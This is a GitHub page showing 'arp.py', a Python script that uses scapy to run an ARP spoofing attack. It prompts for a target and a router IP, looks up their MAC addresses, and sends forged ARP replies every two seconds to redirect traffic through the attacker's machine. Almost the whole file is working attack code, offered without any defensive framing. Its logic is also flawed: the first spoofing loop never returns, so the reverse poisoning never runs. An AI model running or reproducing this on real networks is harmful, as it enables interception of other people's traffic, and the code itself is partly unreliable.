-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy patharp.py
35 lines (24 loc) · 1.24 KB
/
arp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from scapy.all import ARP, send, get_if_hwaddr, conf, arping, Ether
import time
import terminalColors
def findMac(ip):
# Get the MAC address of the given IP address
ans, _ = arping(ip, timeout=2, verbose=False)
for _, rcv in ans:
return rcv[Ether].src
return None
def arpSpoofing(targetIP, spoofIP, targetMAC, spoofMAC):
arpResponse = ARP(op=2, pdst=targetIP, hwdst=targetMAC, psrc=spoofIP, hwsrc=spoofMAC)
while True:
send(arpResponse, verbose=False)
time.sleep(2)
if __name__ == "__main__":
targetIP = input(f"{terminalColors.TerminalColors.OKGREEN}Enter target IP: {terminalColors.TerminalColors.END}")
routerIP = input(f"{terminalColors.TerminalColors.OKGREEN}Enter router IP: {terminalColors.TerminalColors.END}")
attackMAC = get_if_hwaddr(conf.iface)
targetMAC = findMac(targetIP)
routerMAC = findMac(routerIP)
print(f"{terminalColors.TerminalColors.OKBLUE}Target MAC: {targetMAC}{terminalColors.TerminalColors.END}")
print(f"{terminalColors.TerminalColors.OKBLUE}Router MAC: {routerMAC}{terminalColors.TerminalColors.END}")
arpSpoofing(targetIP, routerIP, targetMAC, attackMAC)
arpSpoofing(routerIP, targetIP, routerMAC, attackMAC)